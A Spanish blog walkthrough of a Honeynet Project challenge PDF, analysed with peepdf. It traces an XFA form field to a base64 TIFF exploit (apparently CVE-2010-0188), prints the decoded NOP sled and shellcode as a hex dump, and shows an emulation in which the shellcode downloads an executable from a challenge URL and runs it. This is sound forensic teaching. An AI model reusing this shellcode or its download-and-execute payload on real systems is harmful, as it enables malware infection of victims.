Análisis del reto PDF de Honeynet Project con peepdf (II)

Después de analizar los objetos que nunca se ejecutarían, ahora podemos centrarnos en los que sí que serán procesados por los lectores PDF:

/Catalog (27)
dictionary (28)
   dictionary (22)
       dictionary (23)
           dictionary (22)
           /Annot (24)
               dictionary (23)
               /Page (25)
                   /Pages (26)
                       /Page (25)
   stream (21)
/Pages (26)

Si echamos un vistazo al objeto Catalog:

PPDF> object 27

<< /AcroForm 28 0 R
/MarkInfo << /Marked true >>
/Pages 26 0 R
/Type /Catalog
/Lang en-us
/PageMode /UseAttachments >>

No se ve ningún trigger en este objeto (/OpenAction) ni en el resto de objetos (/AA), así que dirigimos nuestras sospechas hacia el elemento /AcroForm, otra forma de ejecutar código al abrir un documento PDF. Además, el objeto 21, que aparecía como sospechoso (/EmbeddedFile), también está relacionado con el formulario interactivo encontrado (/AcroForm):

PPDF> references to 21

[28]

PPDF> object 28

<< /DA /Helv 0 Tf 0 g
/Fields [ 22 0 R ]
/XFA [ template 21 0 R ] >>

En el diccionario del formulario podemos ver que el objeto 21 es una plantilla y que hay una referencia a un objeto de tipo field (objeto 22), así que continuamos analizando los demás objetos field:

PPDF> object 22

<< /V
/T topmostSubform[0]
/Kids [ 23 0 R ] >>

PPDF> object 23

<< /Parent 22 0 R
/Kids [ 24 0 R ]
/T Page1[0] >>

PPDF> object 24

<< /Parent 23 0 R
/T ImageField1[0]
/Ff 65536
/MK << /TP 1
/IF << /A [ 0.0 1.0 ] >> >>
/F 4
/Rect [ 107.385 705.147 188.385 709.087 ]
/Type /Annot
/FT /Btn
/DA /CourierStd 10 Tf 0 g
/Subtype /Widget
/TU ImageField1
/P 25 0 R >>

Llegamos hasta el último elemento field, llamado ImageField1, que tiene un valor bastante sospechoso para su elemento /Ff, 65536...Ha llegado el momento de explorar cuál es el contenido de este elemento en la plantilla (objeto 21):

...
<field name="ImageField1" w="28.575mm" h="1.39mm" x="37.883mm" y="29.25mm">
<ui>
<imageedit>
</imageedit>
</ui>
</field>
<xfa:datasets xfa="http://www.xfa.org/schema/xfa-data/1.0/">
<xfa:data>
<topmostsubform>
<imagefield1 contenttype="image/tif" href="">SUkqADggAACQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC
QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk
JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk...</imagefield1>
</topmostsubform>
</xfa:data>
</xfa:datasets>

Mmm...tenemos una imagen TIFF, ¿será la vulnerabilidad CVE-2010-0188? El contenido está codificado en base64, así que lo guardamos en una variable para posteriormente decodificarlo:

PPDF> set sh "SUkqADggAACQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJ
CQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJ..."
PPDF> set output variable raw_sh
PPDF> decode variable sh b64

49 49 2a 00 38 20 00 00 90 90 90 90 90 90 90 90   |II*.8 ..........|
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   |................|
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   |................|
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   |................|
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   |................|
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   |................|
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   |................|
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   |................|
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   |................|
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   |................|
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   |................|
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   |................|
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   |................|
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   |................|
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   |................|
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   |................|
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   |................|
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   |................|
...
90 90 90 90 90 90 90 90 90 90 90 90 90 31 c9 dd   |.............1..|
c5 b8 53 2c 18 36 d9 74 24 f4 5f b1 66 31 47 18   |..S,.6.t$._.f1G.|
83 c7 04 03 47 14 e2 a6 c7 08 6c 02 2b e0 f6 2b   |....G.....l.+..+|
77 f3 76 7f 82 6a 94 85 79 89 b1 92 81 6d be 14   |w.v.j..y....m..|
32 0b d8 4d 09 d6 e3 c4 17 b0 8d 04 f1 56 bf c1   |2..M.........V..|
84 6d d2 c8 16 9f 93 f8 f2 05 01 11 85 a7 bc 83   |.m..............|
98 c0 78 c9 ff 1c ac 60 55 54 9d b4 62 87 87 d2   |..x....`UT..b...|
11 ba ac 11 42 7a 58 ea 80 ea 5d d2 41 53 c3 06   |....BzX...].AS..|
0e 1b 3b 70 36 c9 ef 6e 66 53 95 d4 d0 d4 30 b0   |..;p6..nfS....0.|
4a 74 ba 52 1a 67 9b d7 86 d2 7b af 2d 78 23 5d   |Jt.R.g....{.-x#]|
cb e7 8e 73 88 05 41 69 11 bd 8f c4 5e 5c 6f a7   |...s..Ai....^\o.|
69 c6 e9 de 70 a6 9d 2b 4b 3e 50 ce 97 ad 2d e3   |i...p..+K>P...-.|
80 12 dc a7 28 0b 86 bd 15 a6 76 1e b0 11 91 4c   |....(.....v....L|
a0 44 0d 95 e0 6d 24 1c fc d4 35 e7 cb b1 77 62   |.D...m$...5...wb|
92 a0 12 49 d2 6c de 0f fe 09 82 4e fc b7 24 3a   |...I.l.....N..$:|
a4 0e 9f f0 98 58 46 ca 42 49 c2 1b 46 0b 02 f2   |.....XF.BI..F...|
9e b2 54 69 8b 62 5c 6d 92 78 fe 45 ef 4e 35 33   |..Ti.b\m.x.E.N53|
bb 93 0a 89 40 63 21 b4 ec fa 8a 20 77 9b 2a 50   |....@c!.... w.*P|
9a aa 38 5e 9f f5 42 63 8b fa 57 71 d5 dd 54 68   |..8^..Bc..Wq..Th|
2c 01 4e 9f 4d 36 52 af 45 4b 97 a2 6c 5f 88 e4   |,.N.M6R.EK..l_..|
08 6e b9 e3 f7 8e c6 f1 91 8d d6 f5 4f e0 e8 1e   |.n..........O...|
73 03 f7 79 59 02 f0 84 b7 1b fa 9d c0 37 1d b9   |s..yY........7..|
a8 24 35 cc 3f 42 3d b7 0c 60 17 1a 7a 99 6f 51   |.$5.?B=..`..z.oQ|
75 9e 6d 54 8c 80 7e 93 8d e7 e6 33 1a 6c 69 f9   |u.mT..~....3.li.|
cd a3 eb 91 7e db c5 01 ee 4d 7f a8 9e f4 0b 64   |....~....M....d|
30 85 94 56 a3 10 74 c0 54 91 ef 62 d8 3c 93 25   |0..V..t.T..b.<.%|
7d d7 32 b5 ed 42 db 22 8b a3 57 c4 36 e3 e5 71   |}.2..B."..W.6..q|
d8 77 55 14 7b e4 1e 87 09 91 ce 22 96 3c 8f 90   |.wU.{......".<..|
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   |................|
PPDF> reset output

Ahora tenemos el resultado de la decodificación en otra variable y podemos intentar emular la ejecución de esos bytes con el wrapper de sctest, ya que tiene bastante pinta de shellcode:

PPDF> sctest variable raw_sh

verbose = 0
Hook me Captain Cook!
userhooks.c:127 user_hook_ExitThread
ExitThread(32)
stepcount 9172
FARPROC WINAPI GetProcAddress (
HMODULE hModule = 0x7c800000 =>
    none;
LPCSTR lpProcName = 0x0041767d =>
      = "GetSystemDirectoryA";
) = 0x7c814eea;
FARPROC WINAPI GetProcAddress (
HMODULE hModule = 0x7c800000 =>
    none;
LPCSTR lpProcName = 0x00417691 =>
      = "WinExec";
) = 0x7c86136d;
FARPROC WINAPI GetProcAddress (
HMODULE hModule = 0x7c800000 =>
    none;
LPCSTR lpProcName = 0x00417699 =>
      = "ExitThread";
) = 0x7c80c058;
FARPROC WINAPI GetProcAddress (
HMODULE hModule = 0x7c800000 =>
    none;
LPCSTR lpProcName = 0x004176a4 =>
      = "LoadLibraryA";
) = 0x7c801d77;
HMODULE LoadLibraryA (
LPCTSTR lpFileName = 0x004176b1 =>
      = "urlmon";
) = 0x7df20000;
FARPROC WINAPI GetProcAddress (
HMODULE hModule = 0x7df20000 =>
    none;
LPCSTR lpProcName = 0x004176b8 =>
      = "URLDownloadToFileA";
) = 0x7df7b0bb;
UINT GetSystemDirectory (
LPTSTR lpBuffer = 0x0012fe7c =>
    none;
UINT uSize = 32;
) =  19;
HRESULT URLDownloadToFile (
LPUNKNOWN pCaller = 0x00000000 =>
    none;
LPCTSTR szURL = 0x004176cb =>
      = "http://blog.honeynet.org.my/forensic_challenge/the_real_malware.exe";
LPCTSTR szFileName = 0x0012fe7c =>
      = "c:\WINDOWS\system32\a.exe";
DWORD dwReserved = 0;
LPBINDSTATUSCALLBACK lpfnCB = 0;
) =  0;
UINT WINAPI WinExec (
LPCSTR lpCmdLine = 0x0012fe7c =>
      = "c:\WINDOWS\system32\a.exe";
UINT uCmdShow = 0;
) =  32;
void ExitThread (
DWORD dwExitCode = 32;
) =  0;

¡Bingo! ¡Hemos encontrado la vulnerabilidad y el payload del archivo malicioso! Esta shellcode, al igual que las otras, intenta descargar un binario y ejecutarlo, pero esta vez la URL sí que es la correcta. Como véis peepdf puede ser muy útil en este tipo de tareas, el próximo post será de un PDF malicioso real ;)

Análisis del reto PDF de Honeynet Project con peepdf (I)
 

Nota: Publicado originalmente en el blog de S21sec